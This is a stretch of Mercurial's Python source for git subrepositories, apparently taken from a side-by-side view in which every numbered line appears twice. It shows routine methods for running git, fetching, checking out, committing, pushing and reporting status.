1447 errpipe = pycompat.open(os.devnull, b'w')
1447 errpipe = pycompat.open(os.devnull, b'w')
1448 if self.ui._colormode and len(commands) and commands[0] == b"diff":
1448 if self.ui._colormode and len(commands) and commands[0] == b"diff":
1449 # insert the argument in the front,
1449 # insert the argument in the front,
1450 # the end of git diff arguments is used for paths
1450 # the end of git diff arguments is used for paths
1451 commands.insert(1, b'--color')
1451 commands.insert(1, b'--color')
1452 p = subprocess.Popen(
1452 p = subprocess.Popen(
1453 pycompat.rapply(
1453 pycompat.rapply(
1454 procutil.tonativestr, [self._gitexecutable] + commands
1454 procutil.tonativestr, [self._gitexecutable] + commands
1455 ),
1455 ),
1456 bufsize=-1,
1456 bufsize=-1,
1457 cwd=pycompat.rapply(procutil.tonativestr, cwd),
1457 cwd=pycompat.rapply(procutil.tonativestr, cwd),
1458 env=procutil.tonativeenv(env),
1458 env=procutil.tonativeenv(env),
1459 close_fds=procutil.closefds,
1459 close_fds=procutil.closefds,
1460 stdout=subprocess.PIPE,
1460 stdout=subprocess.PIPE,
1461 stderr=errpipe,
1461 stderr=errpipe,
1462 )
1462 )
1463 if stream:
1463 if stream:
1464 return p.stdout, None
1464 return p.stdout, None
1465
1465
1466 retdata = p.stdout.read().strip()
1466 retdata = p.stdout.read().strip()
1467 # wait for the child to exit to avoid race condition.
1467 # wait for the child to exit to avoid race condition.
1468 p.wait()
1468 p.wait()
1469
1469
1470 if p.returncode != 0 and p.returncode != 1:
1470 if p.returncode != 0 and p.returncode != 1:
1471 # there are certain error codes that are ok
1471 # there are certain error codes that are ok
1472 command = commands[0]
1472 command = commands[0]
1473 if command in (b'cat-file', b'symbolic-ref'):
1473 if command in (b'cat-file', b'symbolic-ref'):
1474 return retdata, p.returncode
1474 return retdata, p.returncode
1475 # for all others, abort
1475 # for all others, abort
1476 raise error.Abort(
1476 raise error.Abort(
1477 _(b'git %s error %d in %s')
1477 _(b'git %s error %d in %s')
1478 % (command, p.returncode, self._relpath)
1478 % (command, p.returncode, self._relpath)
1479 )
1479 )
1480
1480
1481 return retdata, p.returncode
1481 return retdata, p.returncode
1482
1482
1483 def _gitmissing(self):
1483 def _gitmissing(self):
1484 return not self.wvfs.exists(b'.git')
1484 return not self.wvfs.exists(b'.git')
1485
1485
1486 def _gitstate(self):
1486 def _gitstate(self):
1487 return self._gitcommand([b'rev-parse', b'HEAD'])
1487 return self._gitcommand([b'rev-parse', b'HEAD'])
1488
1488
1489 def _gitcurrentbranch(self):
1489 def _gitcurrentbranch(self):
1490 current, err = self._gitdir([b'symbolic-ref', b'HEAD', b'--quiet'])
1490 current, err = self._gitdir([b'symbolic-ref', b'HEAD', b'--quiet'])
1491 if err:
1491 if err:
1492 current = None
1492 current = None
1493 return current
1493 return current
1494
1494
1495 def _gitremote(self, remote):
1495 def _gitremote(self, remote):
1496 out = self._gitcommand([b'remote', b'show', b'-n', remote])
1496 out = self._gitcommand([b'remote', b'show', b'-n', remote])
1497 line = out.split(b'\n')[1]
1497 line = out.split(b'\n')[1]
1498 i = line.index(b'URL: ') + len(b'URL: ')
1498 i = line.index(b'URL: ') + len(b'URL: ')
1499 return line[i:]
1499 return line[i:]
1500
1500
1501 def _githavelocally(self, revision):
1501 def _githavelocally(self, revision):
1502 out, code = self._gitdir([b'cat-file', b'-e', revision])
1502 out, code = self._gitdir([b'cat-file', b'-e', revision])
1503 return code == 0
1503 return code == 0
1504
1504
1505 def _gitisancestor(self, r1, r2):
1505 def _gitisancestor(self, r1, r2):
1506 base = self._gitcommand([b'merge-base', r1, r2])
1506 base = self._gitcommand([b'merge-base', r1, r2])
1507 return base == r1
1507 return base == r1
1508
1508
1509 def _gitisbare(self):
1509 def _gitisbare(self):
1510 return self._gitcommand([b'config', b'--bool', b'core.bare']) == b'true'
1510 return self._gitcommand([b'config', b'--bool', b'core.bare']) == b'true'
1511
1511
1512 def _gitupdatestat(self):
1512 def _gitupdatestat(self):
1513 """This must be run before git diff-index.
1513 """This must be run before git diff-index.
1514 diff-index only looks at changes to file stat;
1514 diff-index only looks at changes to file stat;
1515 this command looks at file contents and updates the stat."""
1515 this command looks at file contents and updates the stat."""
1516 self._gitcommand([b'update-index', b'-q', b'--refresh'])
1516 self._gitcommand([b'update-index', b'-q', b'--refresh'])
1517
1517
1518 def _gitbranchmap(self):
1518 def _gitbranchmap(self):
1519 '''returns 2 things:
1519 '''returns 2 things:
1520 a map from git branch to revision
1520 a map from git branch to revision
1521 a map from revision to branches'''
1521 a map from revision to branches'''
1522 branch2rev = {}
1522 branch2rev = {}
1523 rev2branch = {}
1523 rev2branch = {}
1524
1524
1525 out = self._gitcommand(
1525 out = self._gitcommand(
1526 [b'for-each-ref', b'--format', b'%(objectname) %(refname)']
1526 [b'for-each-ref', b'--format', b'%(objectname) %(refname)']
1527 )
1527 )
1528 for line in out.split(b'\n'):
1528 for line in out.split(b'\n'):
1529 revision, ref = line.split(b' ')
1529 revision, ref = line.split(b' ')
1530 if not ref.startswith(b'refs/heads/') and not ref.startswith(
1530 if not ref.startswith(b'refs/heads/') and not ref.startswith(
1531 b'refs/remotes/'
1531 b'refs/remotes/'
1532 ):
1532 ):
1533 continue
1533 continue
1534 if ref.startswith(b'refs/remotes/') and ref.endswith(b'/HEAD'):
1534 if ref.startswith(b'refs/remotes/') and ref.endswith(b'/HEAD'):
1535 continue # ignore remote/HEAD redirects
1535 continue # ignore remote/HEAD redirects
1536 branch2rev[ref] = revision
1536 branch2rev[ref] = revision
1537 rev2branch.setdefault(revision, []).append(ref)
1537 rev2branch.setdefault(revision, []).append(ref)
1538 return branch2rev, rev2branch
1538 return branch2rev, rev2branch
1539
1539
1540 def _gittracking(self, branches):
1540 def _gittracking(self, branches):
1541 """return map of remote branch to local tracking branch"""
1541 """return map of remote branch to local tracking branch"""
1542 # assumes no more than one local tracking branch for each remote
1542 # assumes no more than one local tracking branch for each remote
1543 tracking = {}
1543 tracking = {}
1544 for b in branches:
1544 for b in branches:
1545 if b.startswith(b'refs/remotes/'):
1545 if b.startswith(b'refs/remotes/'):
1546 continue
1546 continue
1547 bname = b.split(b'/', 2)[2]
1547 bname = b.split(b'/', 2)[2]
1548 remote = self._gitcommand([b'config', b'branch.%s.remote' % bname])
1548 remote = self._gitcommand([b'config', b'branch.%s.remote' % bname])
1549 if remote:
1549 if remote:
1550 ref = self._gitcommand([b'config', b'branch.%s.merge' % bname])
1550 ref = self._gitcommand([b'config', b'branch.%s.merge' % bname])
1551 tracking[
1551 tracking[
1552 b'refs/remotes/%s/%s' % (remote, ref.split(b'/', 2)[2])
1552 b'refs/remotes/%s/%s' % (remote, ref.split(b'/', 2)[2])
1553 ] = b
1553 ] = b
1554 return tracking
1554 return tracking
1555
1555
1556 def _abssource(self, source):
1556 def _abssource(self, source):
1557 if b'://' not in source:
1557 if b'://' not in source:
1558 # recognize the scp syntax as an absolute source
1558 # recognize the scp syntax as an absolute source
1559 colon = source.find(b':')
1559 colon = source.find(b':')
1560 if colon != -1 and b'/' not in source[:colon]:
1560 if colon != -1 and b'/' not in source[:colon]:
1561 return source
1561 return source
1562 self._subsource = source
1562 self._subsource = source
1563 return _abssource(self)
1563 return _abssource(self)
1564
1564
1565 def _fetch(self, source, revision):
1565 def _fetch(self, source, revision):
1566 if self._gitmissing():
1566 if self._gitmissing():
1567 # SEC: check for safe ssh url
1567 # SEC: check for safe ssh url
1568 util.checksafessh(source)
1568 util.checksafessh(source)
1569
1569
1570 source = self._abssource(source)
1570 source = self._abssource(source)
1571 self.ui.status(
1571 self.ui.status(
1572 _(b'cloning subrepo %s from %s\n') % (self._relpath, source)
1572 _(b'cloning subrepo %s from %s\n') % (self._relpath, source)
1573 )
1573 )
1574 self._gitnodir([b'clone', source, self._abspath])
1574 self._gitnodir([b'clone', source, self._abspath])
1575 if self._githavelocally(revision):
1575 if self._githavelocally(revision):
1576 return
1576 return
1577 self.ui.status(
1577 self.ui.status(
1578 _(b'pulling subrepo %s from %s\n')
1578 _(b'pulling subrepo %s from %s\n')
1579 % (self._relpath, self._gitremote(b'origin'))
1579 % (self._relpath, self._gitremote(b'origin'))
1580 )
1580 )
1581 # try only origin: the originally cloned repo
1581 # try only origin: the originally cloned repo
1582 self._gitcommand([b'fetch'])
1582 self._gitcommand([b'fetch'])
1583 if not self._githavelocally(revision):
1583 if not self._githavelocally(revision):
1584 raise error.Abort(
1584 raise error.Abort(
1585 _(b'revision %s does not exist in subrepository "%s"\n')
1585 _(b'revision %s does not exist in subrepository "%s"\n')
1586 % (revision, self._relpath)
1586 % (revision, self._relpath)
1587 )
1587 )
1588
1588
1589 @annotatesubrepoerror
1589 @annotatesubrepoerror
1590 def dirty(self, ignoreupdate=False, missing=False):
1590 def dirty(self, ignoreupdate=False, missing=False):
1591 if self._gitmissing():
1591 if self._gitmissing():
1592 return self._state[1] != b''
1592 return self._state[1] != b''
1593 if self._gitisbare():
1593 if self._gitisbare():
1594 return True
1594 return True
1595 if not ignoreupdate and self._state[1] != self._gitstate():
1595 if not ignoreupdate and self._state[1] != self._gitstate():
1596 # different version checked out
1596 # different version checked out
1597 return True
1597 return True
1598 # check for staged changes or modified files; ignore untracked files
1598 # check for staged changes or modified files; ignore untracked files
1599 self._gitupdatestat()
1599 self._gitupdatestat()
1600 out, code = self._gitdir([b'diff-index', b'--quiet', b'HEAD'])
1600 out, code = self._gitdir([b'diff-index', b'--quiet', b'HEAD'])
1601 return code == 1
1601 return code == 1
1602
1602
1603 def basestate(self):
1603 def basestate(self):
1604 return self._gitstate()
1604 return self._gitstate()
1605
1605
1606 @annotatesubrepoerror
1606 @annotatesubrepoerror
1607 def get(self, state, overwrite=False):
1607 def get(self, state, overwrite=False):
1608 source, revision, kind = state
1608 source, revision, kind = state
1609 if not revision:
1609 if not revision:
1610 self.remove()
1610 self.remove()
1611 return
1611 return
1612 self._fetch(source, revision)
1612 self._fetch(source, revision)
1613 # if the repo was set to be bare, unbare it
1613 # if the repo was set to be bare, unbare it
1614 if self._gitisbare():
1614 if self._gitisbare():
1615 self._gitcommand([b'config', b'core.bare', b'false'])
1615 self._gitcommand([b'config', b'core.bare', b'false'])
1616 if self._gitstate() == revision:
1616 if self._gitstate() == revision:
1617 self._gitcommand([b'reset', b'--hard', b'HEAD'])
1617 self._gitcommand([b'reset', b'--hard', b'HEAD'])
1618 return
1618 return
1619 elif self._gitstate() == revision:
1619 elif self._gitstate() == revision:
1620 if overwrite:
1620 if overwrite:
1621 # first reset the index to unmark new files for commit, because
1621 # first reset the index to unmark new files for commit, because
1622 # reset --hard will otherwise throw away files added for commit,
1622 # reset --hard will otherwise throw away files added for commit,
1623 # not just unmark them.
1623 # not just unmark them.
1624 self._gitcommand([b'reset', b'HEAD'])
1624 self._gitcommand([b'reset', b'HEAD'])
1625 self._gitcommand([b'reset', b'--hard', b'HEAD'])
1625 self._gitcommand([b'reset', b'--hard', b'HEAD'])
1626 return
1626 return
1627 branch2rev, rev2branch = self._gitbranchmap()
1627 branch2rev, rev2branch = self._gitbranchmap()
1628
1628
1629 def checkout(args):
1629 def checkout(args):
1630 cmd = [b'checkout']
1630 cmd = [b'checkout']
1631 if overwrite:
1631 if overwrite:
1632 # first reset the index to unmark new files for commit, because
1632 # first reset the index to unmark new files for commit, because
1633 # the -f option will otherwise throw away files added for
1633 # the -f option will otherwise throw away files added for
1634 # commit, not just unmark them.
1634 # commit, not just unmark them.
1635 self._gitcommand([b'reset', b'HEAD'])
1635 self._gitcommand([b'reset', b'HEAD'])
1636 cmd.append(b'-f')
1636 cmd.append(b'-f')
1637 self._gitcommand(cmd + args)
1637 self._gitcommand(cmd + args)
1638 _sanitize(self.ui, self.wvfs, b'.git')
1638 _sanitize(self.ui, self.wvfs, b'.git')
1639
1639
1640 def rawcheckout():
1640 def rawcheckout():
1641 # no branch to checkout, check it out with no branch
1641 # no branch to checkout, check it out with no branch
1642 self.ui.warn(
1642 self.ui.warn(
1643 _(b'checking out detached HEAD in subrepository "%s"\n')
1643 _(b'checking out detached HEAD in subrepository "%s"\n')
1644 % self._relpath
1644 % self._relpath
1645 )
1645 )
1646 self.ui.warn(
1646 self.ui.warn(
1647 _(b'check out a git branch if you intend to make changes\n')
1647 _(b'check out a git branch if you intend to make changes\n')
1648 )
1648 )
1649 checkout([b'-q', revision])
1649 checkout([b'-q', revision])
1650
1650
1651 if revision not in rev2branch:
1651 if revision not in rev2branch:
1652 rawcheckout()
1652 rawcheckout()
1653 return
1653 return
1654 branches = rev2branch[revision]
1654 branches = rev2branch[revision]
1655 firstlocalbranch = None
1655 firstlocalbranch = None
1656 for b in branches:
1656 for b in branches:
1657 if b == b'refs/heads/master':
1657 if b == b'refs/heads/master':
1658 # master trumps all other branches
1658 # master trumps all other branches
1659 checkout([b'refs/heads/master'])
1659 checkout([b'refs/heads/master'])
1660 return
1660 return
1661 if not firstlocalbranch and not b.startswith(b'refs/remotes/'):
1661 if not firstlocalbranch and not b.startswith(b'refs/remotes/'):
1662 firstlocalbranch = b
1662 firstlocalbranch = b
1663 if firstlocalbranch:
1663 if firstlocalbranch:
1664 checkout([firstlocalbranch])
1664 checkout([firstlocalbranch])
1665 return
1665 return
1666
1666
1667 tracking = self._gittracking(branch2rev.keys())
1667 tracking = self._gittracking(branch2rev.keys())
1668 # choose a remote branch already tracked if possible
1668 # choose a remote branch already tracked if possible
1669 remote = branches[0]
1669 remote = branches[0]
1670 if remote not in tracking:
1670 if remote not in tracking:
1671 for b in branches:
1671 for b in branches:
1672 if b in tracking:
1672 if b in tracking:
1673 remote = b
1673 remote = b
1674 break
1674 break
1675
1675
1676 if remote not in tracking:
1676 if remote not in tracking:
1677 # create a new local tracking branch
1677 # create a new local tracking branch
1678 local = remote.split(b'/', 3)[3]
1678 local = remote.split(b'/', 3)[3]
1679 checkout([b'-b', local, remote])
1679 checkout([b'-b', local, remote])
1680 elif self._gitisancestor(branch2rev[tracking[remote]], remote):
1680 elif self._gitisancestor(branch2rev[tracking[remote]], remote):
1681 # When updating to a tracked remote branch,
1681 # When updating to a tracked remote branch,
1682 # if the local tracking branch is downstream of it,
1682 # if the local tracking branch is downstream of it,
1683 # a normal `git pull` would have performed a "fast-forward merge"
1683 # a normal `git pull` would have performed a "fast-forward merge"
1684 # which is equivalent to updating the local branch to the remote.
1684 # which is equivalent to updating the local branch to the remote.
1685 # Since we are only looking at branching at update, we need to
1685 # Since we are only looking at branching at update, we need to
1686 # detect this situation and perform this action lazily.
1686 # detect this situation and perform this action lazily.
1687 if tracking[remote] != self._gitcurrentbranch():
1687 if tracking[remote] != self._gitcurrentbranch():
1688 checkout([tracking[remote]])
1688 checkout([tracking[remote]])
1689 self._gitcommand([b'merge', b'--ff', remote])
1689 self._gitcommand([b'merge', b'--ff', remote])
1690 _sanitize(self.ui, self.wvfs, b'.git')
1690 _sanitize(self.ui, self.wvfs, b'.git')
1691 else:
1691 else:
1692 # a real merge would be required, just checkout the revision
1692 # a real merge would be required, just checkout the revision
1693 rawcheckout()
1693 rawcheckout()
1694
1694
1695 @annotatesubrepoerror
1695 @annotatesubrepoerror
1696 def commit(self, text, user, date):
1696 def commit(self, text, user, date):
1697 if self._gitmissing():
1697 if self._gitmissing():
1698 raise error.Abort(_(b"subrepo %s is missing") % self._relpath)
1698 raise error.Abort(_(b"subrepo %s is missing") % self._relpath)
1699 cmd = [b'commit', b'-a', b'-m', text]
1699 cmd = [b'commit', b'-a', b'-m', text]
1700 env = encoding.environ.copy()
1700 env = encoding.environ.copy()
1701 if user:
1701 if user:
1702 cmd += [b'--author', user]
1702 cmd += [b'--author', user]
1703 if date:
1703 if date:
1704 # git's date parser silently ignores when seconds < 1e9
1704 # git's date parser silently ignores when seconds < 1e9
1705 # convert to ISO8601
1705 # convert to ISO8601
1706 env[b'GIT_AUTHOR_DATE'] = dateutil.datestr(
1706 env[b'GIT_AUTHOR_DATE'] = dateutil.datestr(
1707 date, b'%Y-%m-%dT%H:%M:%S %1%2'
1707 date, b'%Y-%m-%dT%H:%M:%S %1%2'
1708 )
1708 )
1709 self._gitcommand(cmd, env=env)
1709 self._gitcommand(cmd, env=env)
1710 # make sure commit works otherwise HEAD might not exist under certain
1710 # make sure commit works otherwise HEAD might not exist under certain
1711 # circumstances
1711 # circumstances
1712 return self._gitstate()
1712 return self._gitstate()
1713
1713
1714 @annotatesubrepoerror
1714 @annotatesubrepoerror
1715 def merge(self, state):
1715 def merge(self, state):
1716 source, revision, kind = state
1716 source, revision, kind = state
1717 self._fetch(source, revision)
1717 self._fetch(source, revision)
1718 base = self._gitcommand([b'merge-base', revision, self._state[1]])
1718 base = self._gitcommand([b'merge-base', revision, self._state[1]])
1719 self._gitupdatestat()
1719 self._gitupdatestat()
1720 out, code = self._gitdir([b'diff-index', b'--quiet', b'HEAD'])
1720 out, code = self._gitdir([b'diff-index', b'--quiet', b'HEAD'])
1721
1721
1722 def mergefunc():
1722 def mergefunc():
1723 if base == revision:
1723 if base == revision:
1724 self.get(state) # fast forward merge
1724 self.get(state) # fast forward merge
1725 elif base != self._state[1]:
1725 elif base != self._state[1]:
1726 self._gitcommand([b'merge', b'--no-commit', revision])
1726 self._gitcommand([b'merge', b'--no-commit', revision])
1727 _sanitize(self.ui, self.wvfs, b'.git')
1727 _sanitize(self.ui, self.wvfs, b'.git')
1728
1728
1729 if self.dirty():
1729 if self.dirty():
1730 if self._gitstate() != revision:
1730 if self._gitstate() != revision:
1731 dirty = self._gitstate() == self._state[1] or code != 0
1731 dirty = self._gitstate() == self._state[1] or code != 0
1732 if _updateprompt(
1732 if _updateprompt(
1733 self.ui, self, dirty, self._state[1][:7], revision[:7]
1733 self.ui, self, dirty, self._state[1][:7], revision[:7]
1734 ):
1734 ):
1735 mergefunc()
1735 mergefunc()
1736 else:
1736 else:
1737 mergefunc()
1737 mergefunc()
1738
1738
1739 @annotatesubrepoerror
1739 @annotatesubrepoerror
1740 def push(self, opts):
1740 def push(self, opts):
1741 force = opts.get(b'force')
1741 force = opts.get(b'force')
1742
1742
1743 if not self._state[1]:
1743 if not self._state[1]:
1744 return True
1744 return True
1745 if self._gitmissing():
1745 if self._gitmissing():
1746 raise error.Abort(_(b"subrepo %s is missing") % self._relpath)
1746 raise error.Abort(_(b"subrepo %s is missing") % self._relpath)
1747 # if a branch in origin contains the revision, nothing to do
1747 # if a branch in origin contains the revision, nothing to do
1748 branch2rev, rev2branch = self._gitbranchmap()
1748 branch2rev, rev2branch = self._gitbranchmap()
1749 if self._state[1] in rev2branch:
1749 if self._state[1] in rev2branch:
1750 for b in rev2branch[self._state[1]]:
1750 for b in rev2branch[self._state[1]]:
1751 if b.startswith(b'refs/remotes/origin/'):
1751 if b.startswith(b'refs/remotes/origin/'):
1752 return True
1752 return True
1753 for b, revision in pycompat.iteritems(branch2rev):
1753 for b, revision in pycompat.iteritems(branch2rev):
1754 if b.startswith(b'refs/remotes/origin/'):
1754 if b.startswith(b'refs/remotes/origin/'):
1755 if self._gitisancestor(self._state[1], revision):
1755 if self._gitisancestor(self._state[1], revision):
1756 return True
1756 return True
1757 # otherwise, try to push the currently checked out branch
1757 # otherwise, try to push the currently checked out branch
1758 cmd = [b'push']
1758 cmd = [b'push']
1759 if force:
1759 if force:
1760 cmd.append(b'--force')
1760 cmd.append(b'--force')
1761
1761
1762 current = self._gitcurrentbranch()
1762 current = self._gitcurrentbranch()
1763 if current:
1763 if current:
1764 # determine if the current branch is even useful
1764 # determine if the current branch is even useful
1765 if not self._gitisancestor(self._state[1], current):
1765 if not self._gitisancestor(self._state[1], current):
1766 self.ui.warn(
1766 self.ui.warn(
1767 _(
1767 _(
1768 b'unrelated git branch checked out '
1768 b'unrelated git branch checked out '
1769 b'in subrepository "%s"\n'
1769 b'in subrepository "%s"\n'
1770 )
1770 )
1771 % self._relpath
1771 % self._relpath
1772 )
1772 )
1773 return False
1773 return False
1774 self.ui.status(
1774 self.ui.status(
1775 _(b'pushing branch %s of subrepository "%s"\n')
1775 _(b'pushing branch %s of subrepository "%s"\n')
1776 % (current.split(b'/', 2)[2], self._relpath)
1776 % (current.split(b'/', 2)[2], self._relpath)
1777 )
1777 )
1778 ret = self._gitdir(cmd + [b'origin', current])
1778 ret = self._gitdir(cmd + [b'origin', current])
1779 return ret[1] == 0
1779 return ret[1] == 0
1780 else:
1780 else:
1781 self.ui.warn(
1781 self.ui.warn(
1782 _(
1782 _(
1783 b'no branch checked out in subrepository "%s"\n'
1783 b'no branch checked out in subrepository "%s"\n'
1784 b'cannot push revision %s\n'
1784 b'cannot push revision %s\n'
1785 )
1785 )
1786 % (self._relpath, self._state[1])
1786 % (self._relpath, self._state[1])
1787 )
1787 )
1788 return False
1788 return False
1789
1789
1790 @annotatesubrepoerror
1790 @annotatesubrepoerror
1791 def add(self, ui, match, prefix, uipathfn, explicitonly, **opts):
1791 def add(self, ui, match, prefix, uipathfn, explicitonly, **opts):
1792 if self._gitmissing():
1792 if self._gitmissing():
1793 return []
1793 return []
1794
1794
1795 s = self.status(None, unknown=True, clean=True)
1795 s = self.status(None, unknown=True, clean=True)
1796
1796
1797 tracked = set()
1797 tracked = set()
1798 # dirstates 'amn' warn, 'r' is added again
1798 # dirstates 'amn' warn, 'r' is added again
1799 for l in (s.modified, s.added, s.deleted, s.clean):
1799 for l in (s.modified, s.added, s.deleted, s.clean):
1800 tracked.update(l)
1800 tracked.update(l)
1801
1801
1802 # Unknown files not of interest will be rejected by the matcher
1802 # Unknown files not of interest will be rejected by the matcher
1803 files = s.unknown
1803 files = s.unknown
1804 files.extend(match.files())
1804 files.extend(match.files())
1805
1805
1806 rejected = []
1806 rejected = []
1807
1807
1808 files = [f for f in sorted(set(files)) if match(f)]
1808 files = [f for f in sorted(set(files)) if match(f)]
1809 for f in files:
1809 for f in files:
1810 exact = match.exact(f)
1810 exact = match.exact(f)
1811 command = [b"add"]
1811 command = [b"add"]
1812 if exact:
1812 if exact:
1813 command.append(b"-f") # should be added, even if ignored
1813 command.append(b"-f") # should be added, even if ignored
1814 if ui.verbose or not exact:
1814 if ui.verbose or not exact:
1815 ui.status(_(b'adding %s\n') % uipathfn(f))
1815 ui.status(_(b'adding %s\n') % uipathfn(f))
1816
1816
1817 if f in tracked: # hg prints 'adding' even if already tracked
1817 if f in tracked: # hg prints 'adding' even if already tracked
1818 if exact:
1818 if exact:
1819 rejected.append(f)
1819 rejected.append(f)
1820 continue
1820 continue
1821 if not opts.get('dry_run'):
1821 if not opts.get('dry_run'):
1822 self._gitcommand(command + [f])
1822 self._gitcommand(command + [f])
1823
1823
1824 for f in rejected:
1824 for f in rejected:
1825 ui.warn(_(b"%s already tracked!\n") % uipathfn(f))
1825 ui.warn(_(b"%s already tracked!\n") % uipathfn(f))
1826
1826
1827 return rejected
1827 return rejected
1828
1828
1829 @annotatesubrepoerror
1829 @annotatesubrepoerror
1830 def remove(self):
1830 def remove(self):
1831 if self._gitmissing():
1831 if self._gitmissing():
1832 return
1832 return
1833 if self.dirty():
1833 if self.dirty():
1834 self.ui.warn(
1834 self.ui.warn(
1835 _(b'not removing repo %s because it has changes.\n')
1835 _(b'not removing repo %s because it has changes.\n')
1836 % self._relpath
1836 % self._relpath
1837 )
1837 )
1838 return
1838 return
1839 # we can't fully delete the repository as it may contain
1839 # we can't fully delete the repository as it may contain
1840 # local-only history
1840 # local-only history
1841 self.ui.note(_(b'removing subrepo %s\n') % self._relpath)
1841 self.ui.note(_(b'removing subrepo %s\n') % self._relpath)
1842 self._gitcommand([b'config', b'core.bare', b'true'])
1842 self._gitcommand([b'config', b'core.bare', b'true'])
1843 for f, kind in self.wvfs.readdir():
1843 for f, kind in self.wvfs.readdir():
1844 if f == b'.git':
1844 if f == b'.git':
1845 continue
1845 continue
1846 if kind == stat.S_IFDIR:
1846 if kind == stat.S_IFDIR:
1847 self.wvfs.rmtree(f)
1847 self.wvfs.rmtree(f)
1848 else:
1848 else:
1849 self.wvfs.unlink(f)
1849 self.wvfs.unlink(f)
1850
1850
1851 def archive(self, archiver, prefix, match=None, decode=True):
1851 def archive(self, archiver, prefix, match=None, decode=True):
1852 total = 0
1852 total = 0
1853 source, revision = self._state
1853 source, revision = self._state
1854 if not revision:
1854 if not revision:
1855 return total
1855 return total
1856 self._fetch(source, revision)
1856 self._fetch(source, revision)
1857
1857
1858 # Parse git's native archive command.
1858 # Parse git's native archive command.
1859 # This should be much faster than manually traversing the trees
1859 # This should be much faster than manually traversing the trees
1860 # and objects with many subprocess calls.
1860 # and objects with many subprocess calls.
1861 tarstream = self._gitcommand([b'archive', revision], stream=True)
1861 tarstream = self._gitcommand([b'archive', revision], stream=True)
1862 tar = tarfile.open(fileobj=tarstream, mode='r|')
1862 tar = tarfile.open(fileobj=tarstream, mode='r|')
1863 relpath = subrelpath(self)
1863 relpath = subrelpath(self)
1864 progress = self.ui.makeprogress(
1864 progress = self.ui.makeprogress(
1865 _(b'archiving (%s)') % relpath, unit=_(b'files')
1865 _(b'archiving (%s)') % relpath, unit=_(b'files')
1866 )
1866 )
1867 progress.update(0)
1867 progress.update(0)
1868 for info in tar:
1868 for info in tar:
1869 if info.isdir():
1869 if info.isdir():
1870 continue
1870 continue
1871 bname = pycompat.fsencode(info.name)
1871 bname = pycompat.fsencode(info.name)
1872 if match and not match(bname):
1872 if match and not match(bname):
1873 continue
1873 continue
1874 if info.issym():
1874 if info.issym():
1875 data = info.linkname
1875 data = info.linkname
1876 else:
1876 else:
1877 data = tar.extractfile(info).read()
1877 data = tar.extractfile(info).read()
1878 archiver.addfile(prefix + bname, info.mode, info.issym(), data)
1878 archiver.addfile(prefix + bname, info.mode, info.issym(), data)
1879 total += 1
1879 total += 1
1880 progress.increment()
1880 progress.increment()
1881 progress.complete()
1881 progress.complete()
1882 return total
1882 return total
1883
1883
1884 @annotatesubrepoerror
1884 @annotatesubrepoerror
1885 def cat(self, match, fm, fntemplate, prefix, **opts):
1885 def cat(self, match, fm, fntemplate, prefix, **opts):
1886 rev = self._state[1]
1886 rev = self._state[1]
1887 if match.anypats():
1887 if match.anypats():
1888 return 1 # No support for include/exclude yet
1888 return 1 # No support for include/exclude yet
1889
1889
1890 if not match.files():
1890 if not match.files():
1891 return 1
1891 return 1
1892
1892
1893 # TODO: add support for non-plain formatter (see cmdutil.cat())
1893 # TODO: add support for non-plain formatter (see cmdutil.cat())
1894 for f in match.files():
1894 for f in match.files():
1895 output = self._gitcommand([b"show", b"%s:%s" % (rev, f)])
1895 output = self._gitcommand([b"show", b"%s:%s" % (rev, f)])
1896 fp = cmdutil.makefileobj(
1896 fp = cmdutil.makefileobj(
1897 self._ctx, fntemplate, pathname=self.wvfs.reljoin(prefix, f)
1897 self._ctx, fntemplate, pathname=self.wvfs.reljoin(prefix, f)
1898 )
1898 )
1899 fp.write(output)
1899 fp.write(output)
1900 fp.close()
1900 fp.close()
1901 return 0
1901 return 0
1902
1902
1903 @annotatesubrepoerror
1903 @annotatesubrepoerror
1904 def status(self, rev2, **opts):
1904 def status(self, rev2, **opts):
1905 rev1 = self._state[1]
1905 rev1 = self._state[1]
1906 if self._gitmissing() or not rev1:
1906 if self._gitmissing() or not rev1:
1907 # if the repo is missing, return no results
1907 # if the repo is missing, return no results
1908 return scmutil.status([], [], [], [], [], [], [])
1908 return scmutil.status([], [], [], [], [], [], [])
1909 modified, added, removed = [], [], []
1909 modified, added, removed = [], [], []
1910 self._gitupdatestat()
1910 self._gitupdatestat()
1911 if rev2:
1911 if rev2:
1912 command = [b'diff-tree', b'--no-renames', b'-r', rev1, rev2]
1912 command = [b'diff-tree', b'--no-renames', b'-r', rev1, rev2]
1913 else:
1913 else:
1914 command = [b'diff-index', b'--no-renames', rev1]
1914 command = [b'diff-index', b'--no-renames', rev1]
1915 out = self._gitcommand(command)
1915 out = self._gitcommand(command)
1916 for line in out.split(b'\n'):
1916 for line in out.split(b'\n'):
1917 tab = line.find(b'\t')
1917 tab = line.find(b'\t')
1918 if tab == -1:
1918 if tab == -1:
1919 continue
1919 continue
1920 status, f = line[tab - 1 : tab], line[tab + 1 :]
1920 status, f = line[tab - 1 : tab], line[tab + 1 :]
1921 if status == b'M':
1921 if status == b'M':
1922 modified.append(f)
1922 modified.append(f)
1923 elif status == b'A':
1923 elif status == b'A':
1924 added.append(f)
1924 added.append(f)
1925 elif status == b'D':
1925 elif status == b'D':
1926 removed.append(f)
1926 removed.append(f)
1927
1927
1928 deleted, unknown, ignored, clean = [], [], [], []
1928 deleted, unknown, ignored, clean = [], [], [], []
1929
1929
1930 command = [b'status', b'--porcelain', b'-z']
1930 command = [b'status', b'--porcelain', b'-z']
1931 if opts.get('unknown'):
1931 if opts.get('unknown'):
1932 command += [b'--untracked-files=all']
1932 command += [b'--untracked-files=all']
1933 if opts.get('ignored'):
1933 if opts.get('ignored'):
1934 command += [b'--ignored']
1934 command += [b'--ignored']
1935 out = self._gitcommand(command)
1935 out = self._gitcommand(command)
1936
1936
1937 changedfiles = set()
1937 changedfiles = set()
1938 changedfiles.update(modified)
1938 changedfiles.update(modified)
1939 changedfiles.update(added)
1939 changedfiles.update(added)
1940 changedfiles.update(removed)
1940 changedfiles.update(removed)
1941 for line in out.split(b'\0'):
1941 for line in out.split(b'\0'):
1942 if not line:
1942 if not line:
1943 continue
1943 continue
1944 st = line[0:2]
1944 st = line[0:2]
1945 # moves and copies show 2 files on one line
1945 # moves and copies show 2 files on one line
1946 if line.find(b'\0') >= 0:
1946 if line.find(b'\0') >= 0:
1947 filename1, filename2 = line[3:].split(b'\0')
1947 filename1, filename2 = line[3:].split(b'\0')
1948 else:
1948 else:
1949 filename1 = line[3:]
1949 filename1 = line[3:]
1950 filename2 = None
1950 filename2 = None
1951
1951
1952 changedfiles.add(filename1)
1952 changedfiles.add(filename1)
